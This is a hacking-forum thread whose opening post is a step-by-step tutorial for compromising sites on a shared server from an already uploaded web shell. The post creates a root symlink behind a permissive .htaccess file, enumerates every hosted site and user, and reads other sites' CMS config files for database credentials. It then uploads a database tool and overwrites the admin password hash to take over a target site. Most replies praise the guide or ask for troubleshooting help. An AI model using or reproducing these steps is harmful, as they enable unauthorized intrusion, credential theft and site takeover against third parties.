Thread: [\[TUTORIAL:\]>_HOW TO "MANUALLY" SYMLINK_\[/Step-by-Step & n00b Friendly\]](#)

mObile - February 20, 2014, 10:21 pm

Shelled Server
Readable /ect/named.conf

Sup bitches!? ..If you're reading this, your probably wondering how we manually symlink w/out using an automated script. Well today I'm going to show you how It's done. ?

Tutorial:

Creating a ROOT Symlink:

1.) After you Upload your Shell, open it and go to the Root Folder of the Website (i.e Public_html) and make a dir called "tmp"

2.) Open your tmp directory and then create a file called ".htaccess" in the /tmp/ directory, and cut-n-paste this code in it and click "Save"

PHP Code

<?php

Options all

DirectoryIndex Sux.html

AddType text/plain .php

AddHandler server-parsed .php

AddType text/plain .html

AddHandler txt .html

Require None

Satisfy Any

3.)Next, Execute this command in your shell to create a root symlink in tmp Directory

PHP Code

<?php

In -s / mobile

(you can name your root to whatever you want, I chose /mobile/)

This will Create a link called /mobile/ in tmp Directory.

2.) Now open the directory "tmp" from Your browser in new tab, like:

Quote:www.site.com/tmp
..it should look like this;

5.) If You see this, that means you have Created a Root Symlink, Congrats , Server has been Symlinked Successfully. ?

Getting all the websites from the server:

1.) Ok you've created a root symlink, now its time to get all the websites from the server.

From your browser open a new tab and enter this link.

Quote:www.site.com/tmp/mcs/var/named

2.) This will give you all the sites on the Server.

Getting all the Users from the Server:

1.) From your browser open a new tab and enter this link.

Quote:www.site.com/tmp/mcs/var/mail/

2.) This will give you all the Users from the server.

Finding the User on a targeted Website:

1.) Now that you have all the sites and users on the server, Now Select a target that you wanna take down and find the user of the target ..Example: if my target is "www.besearched.biz" so the user will be something like "besearch" or "besearch3" or something similar.

2.) And an easy way to find the username is to press control+f in your browser and type the site name slowly besearched.com and It should highlight the user.

Dumping and Reading the Database configs:

2.) Open this Link in your Browser:

Quote:[www.site.com/tmp/mobile/home/\[user\]/public_html/](http://www.site.com/tmp/mobile/home/[user]/public_html/) [user] is the user of the targeted website.

EXAMPLE:

3.) Next start looking for the Config file, mine is wp-config.php Just Click on it and You will get Database Login info.

Location of Most Famous CMS config Files:

Quote:vBulletin -- /includes/config.php
IPB -- /conf_global.php
MyBB -- /inc/config.php
Phpbb -- /config.php
Php Nuke -- /config.php
Php-Fusion -- config.php
SMF -- /Settings.php
Joomla -- configuration.php , configuration.php-dist
WordPress -- /wp-config.php
Drupal -- /sites/default/settings.php
Oscommerce -- /includes/configure.php
e107 -- /e107_config.php
Seditio -- /datas/config.php
Login into Database:

1.) Now Upload a Database Management .php Script. (i.e dbkiss.php) in root folder (i.e Public_html)

DBkiss.php

Quote:<http://pastebin.com/cYNQ35KR>

2.) Open dbkiss.php in your Browser.

Quote:www.site.com/dbkiss.php

Change admin Password From Database:

1.) Login with the Username and password you got from the Config file.

2.) Check for users in the database and click on it ..there you will get a website Username and password . we just have to edit user_pass column and save it.

3.) Go to a MD5 Generator:

Quote:<http://www.md5hashgenerator.com> Hash you a password with anything you want in MD5, then click on edit , Clear the user_pass column and paste your MD5 hash there, again click on edit and save it..finally your done.

4.) Now go to the Website admin panel, and login with the new password You just created.

Owned! ?

Congratulations! You just MANUALLY symlinked. ?

Avocado - February 20, 2014, 10:24 pm

I like this tutorial, very well explained. Thanks.

ktmercedes - February 20, 2014, 10:47 pm

very nice tutorial. easy to understand and use symlink. thanks alot

xx 0x0 xx - February 20, 2014, 11:43 pm

this is a great HQ tutorial like always brother keep it up

I am a Dox3r - February 21, 2014, 12:03 am

wow I don't even understand this cos im such a doxing skid

macnux - February 21, 2014, 5:19 am

i make symlinking but when i navigate to home folder it gives me permission denied then i close the browser and open it again

the folder contains the symlink gives me internal server error

any idea about what happened with me?

thanks in advance.

Th3PonyWizard - February 21, 2014, 10:23 am

When will you move on? We've all progressed. Don't you think it's time?

supermanozos - February 22, 2014, 12:33 am

@m0bi13_xT

awesome. Thanks for great tutorial.

joshml - February 22, 2014, 6:48 am

This tutorial is amazing! thanks for it man! :)

blackhiden - March 2, 2014, 8:38 pm

Good bro.

I'm bookmarking this thread.

Saklitunov - March 3, 2014, 12:55 am

@m0bi13_xT

awesome. Thanks for great tutorial.

(Mar 2, 2014 12:54 PM)m0bi13_xT Wrote: [\[CITE\]](#) it took a minute to write this, so thanks for your feedback. ?

Hello sir.. what can i do to fix these error

PHP Code

```
<?php
```

ob_start(): failed to create buffer

In dbkiss.php on line 16.

anil_ak - November 19, 2014, 12:47 am

failed to create mobile link inside root...how to create create? plz help me out?

jacknax - November 19, 2014, 6:51 am

Thanks Man. Keep Posting & Keep Shearing..... :D :D :D

mahmudul006 - January 15, 2015, 6:20 am

Thanks bro ..
for clear concept :)

Beladonis - January 17, 2015, 9:56 am

What "ln -s / mobile" would be for windows ? (this thread was already ed 2 days ago, so don't call me a grave digger)

Husenfatal - January 18, 2015, 2:19 pm

Very Nice TUT Thanks ill be marking this one down

Yas3r - February 28, 2015, 11:14 am

Wow its great tutorial, and I really like it. Thank you =))

MamaWeegee - February 28, 2015, 9:59 pm

My /tmp/ doesn't show the mobile folder even though it is linked properly in my shell. What's up with that?

Deathgrinder - March 1, 2015, 1:53 am

Very detailed, helped me alot thanks

anglenaexp - March 1, 2015, 9:36 am

Hi MR M0bi13_xT,

Well, i see your many post and you are awesome. I was searching a expert like you, however i need little help from you if you dont mind.

Thanks.

Zbiniew - April 28, 2015, 6:20 am

great tutorial, I've bookmarked it

thanks for clear explanations OP

tomek34465 - May 6, 2015, 6:13 am

awesome. Thanks for great tutorial.

JustEnter - May 7, 2015, 6:53 am

can you give me that in pm?

Alikhan - May 9, 2015, 6:39 am

Nice One Tutriol Like It Best Luck

Dday89 - May 24, 2015, 1:02 am

This is a nice tutorial.Now i understand how to do manual symlink.Thanks for sharing

vbulden - May 25, 2015, 2:30 pm

thank you for the tutorial .. iam loking for a shell ... what puplic shell is easy to do this...

Shikatanai - November 4, 2015, 4:02 pm

Fuck!! I love this!

Just symlink https website right now!

Love you man

?i?d?? - November 7, 2015, 6:32 pm

This is a very great thread, defiantly took a lot of time and very high quality and user friendly. Great Job!

I33twebhacker - November 7, 2015, 8:30 pm

thanks u , can i know the rooting of window server.

seedhabandha - September 30, 2016, 12:20 pm

This cmd is not wrking "ln -s / mobile" ?

How2Hacks - October 3, 2016, 1:28 pm

Why exactly do you need to symlink to be able to access folders? If you already have a shell you can already see them, no?

elwaleed00 - October 3, 2016, 8:20 pm

Very nice tut bro

Thanks mate.....

R^ptor - October 4, 2016, 10:30 pm

Great tut man. Very clear!

Cyb3rb1t - September 3, 2020, 3:55 pm

Nice job, great post! Thanks!

A++
